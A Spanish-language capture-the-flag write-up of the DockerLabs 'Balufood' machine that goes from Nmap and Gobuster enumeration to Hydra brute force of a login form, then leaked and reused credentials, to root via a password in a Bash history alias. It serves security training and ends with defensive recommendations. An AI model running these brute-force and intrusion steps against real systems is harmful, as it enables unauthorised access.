> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/balufood.md).

# Balufood

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y una aplicacion web Flask en el puerto 5000.

La cadena de explotacion empieza con enumeracion web sobre un restaurante llamado **Balulero**. Tras descubrir el panel `/admin`, se realiza fuerza bruta contra el login y se accede con credenciales debiles. Dentro del codigo fuente del panel aparece un comentario con credenciales de respaldo para SSH. Desde el usuario `sysadmin`, se revisa la aplicacion Flask y se encuentra una password reutilizable que permite pivotar al usuario `balulero`. La escalada final se consigue gracias a un alias guardado en el historial de Bash, que revela la password de `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-82274af21c9cc6a0cd6fe4e83d6d841a73e9582d%2F2026-05-15-18-29-59.png?alt=media)

El escaneo muestra dos puertos abiertos:

| Puerto   | Servicio | Version                              |
| -------- | -------- | ------------------------------------ |
| 22/tcp   | SSH      | OpenSSH 9.2p1 Debian                 |
| 5000/tcp | HTTP     | Werkzeug httpd 2.2.2 / Python 3.11.2 |

Al acceder al puerto 5000 aparece una web de restaurante:

```
http://172.17.0.2:5000
```

![Web principal](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-77f7fa9afee0ff1e25bb6c886dcd66ba689d95f7%2F2026-05-15-18-31-10.png?alt=media)

***

## Enumeracion web

Se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:5000/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8ec6db67ded16e38928b57f3ead540cbaa5fa8dc%2F2026-05-15-18-34-07.png?alt=media)

Aparecen dos rutas interesantes:

| Ruta       | Codigo | Comentario                                 |
| ---------- | ------ | ------------------------------------------ |
| `/admin`   | 302    | Redirige a `/login`                        |
| `/console` | 400    | Consola Werkzeug no accesible directamente |

Como `/admin` requiere autenticacion, se prueba fuerza bruta contra el formulario de login con Hydra:

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 172.17.0.2 -s 5000 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Credenciales" \
  -V -I -t 64
```

Hydra encuentra credenciales validas:

![Password admin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-7240f00e410770ac478d02515e8b0f05b6995b3b%2F2026-05-15-18-53-56.png?alt=media)

```
admin:admin
```

***

## Panel de administracion

Con las credenciales encontradas se accede al panel:

```
http://172.17.0.2:5000/admin
```

![Panel admin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-fd5a29d51edaeebf4bbef140971e8116678d307e%2F2026-05-15-18-56-21.png?alt=media)

Al revisar el codigo fuente del panel, se encuentra un comentario HTML con credenciales de respaldo:

![Comentario con credenciales](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c512c02c7ad8fef11c3dc6ea926c96540b45a863%2F2026-05-15-18-56-34.png?alt=media)

Credenciales descubiertas:

```
sysadmin:backup123
```

***

## Acceso por SSH

Se prueban las credenciales por SSH:

```bash
ssh sysadmin@172.17.0.2
```

![SSH sysadmin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5ff3181a1b08bebab50f7d676b7e889100a85098%2F2026-05-15-18-57-35.png?alt=media)

El acceso funciona correctamente y se obtiene una shell como `sysadmin`.

***

## Enumeracion local

Se revisan los procesos activos:

```bash
ps aux
```

![Procesos](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3e72f579a3c37c8e55f26128bb85db42e5c00aaf%2F2026-05-15-19-00-25.png?alt=media)

Se observa que la aplicacion Flask se ejecuta desde:

```
/home/sysadmin/app.py
```

Al listar el directorio home y leer `app.py`, aparecen detalles interesantes de la aplicacion:

```bash
ls -la
cat app.py
```

![app.py](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-fb7663b1ece16e51bbad2b0a6ecc83f35b569889%2F2026-05-15-19-01-11.png?alt=media)

En el codigo se identifica una clave de aplicacion:

```python
app.secret_key = 'cuidaditocuidadin'
```

Esa cadena se prueba como password del usuario `balulero`:

```bash
su balulero
```

![su balulero](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-70e9bfbec9972356d62a3947747bd119abd4bea0%2F2026-05-15-19-06-24.png?alt=media)

La password funciona:

```
cuidaditocuidadin
```

***

## Escalada de privilegios

Como `balulero`, se revisan permisos de `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

![Enumeracion balulero](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-df3addd3f7669f7eda54f24b9ba715dc2d4217ee%2F2026-05-15-19-06-46.png?alt=media)

No aparece una via clara por `sudo` ni por SUID. Se revisa entonces el historial de Bash:

```bash
cat ~/.bash_history
```

![Historial balulero](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-04e41a934f38f393c7072c48ff21f4671878630e%2F2026-05-15-19-07-51.png?alt=media)

En el historial aparece un alias muy sensible:

```bash
alias ser-root='echo chocolate2 | su - root'
```

El alias revela la password de `root`:

```
chocolate2
```

Se cambia a `root` con esa password:

```bash
su root
```

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-bee9accc198347d9e9e1c2c0bb0e8bb9ddb5e9ca%2F2026-05-15-19-08-12.png?alt=media)

La maquina queda comprometida como `root`:

```bash
whoami
```

```
root
```

***

## Conclusion

Balufood es una maquina sencilla pero muy buena para practicar enumeracion progresiva. La explotacion no depende de un exploit complejo, sino de ir conectando malas practicas: credenciales debiles en el panel, secretos en comentarios HTML, passwords reutilizadas y un historial de Bash con informacion critica.

### Puntos clave

* El servicio web corria una aplicacion Flask en el puerto 5000.
* Gobuster descubrio el panel `/admin`.
* Hydra encontro credenciales debiles `admin:admin`.
* El codigo fuente del panel contenia credenciales de respaldo `sysadmin:backup123`.
* Se obtuvo acceso por SSH como `sysadmin`.
* `app.py` contenia la clave `cuidaditocuidadin`.
* Esa clave era la password del usuario `balulero`.
* El historial de Bash de `balulero` revelaba la password de `root`.
* La escalada final se realizo con `su root` usando `chocolate2`.

### Recomendaciones

* Evitar credenciales por defecto o faciles de adivinar.
* No dejar secretos en comentarios HTML.
* No reutilizar passwords entre aplicacion y usuarios del sistema.
* Proteger claves de Flask y variables sensibles mediante secretos externos.
* Limpiar historiales de shell y evitar guardar comandos con passwords.
* Revisar usuarios locales y politicas de contrasenas.
